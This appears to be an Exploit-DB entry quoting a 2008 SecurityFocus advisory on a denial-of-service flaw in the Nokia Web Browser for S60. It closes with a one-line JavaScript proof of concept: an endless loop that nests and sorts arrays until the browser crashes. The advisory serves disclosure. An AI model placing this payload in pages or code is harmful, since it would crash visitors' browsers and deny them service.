Nokia Web Browser for S60 - Infinite Array Sort Denial of Service

EDB-ID:

32472

CVE:

N/A




Platform:

Hardware

Date:

2008-10-10


source: https://www.securityfocus.com/bid/31703/info

Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when handling malicious HTML files.

A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script>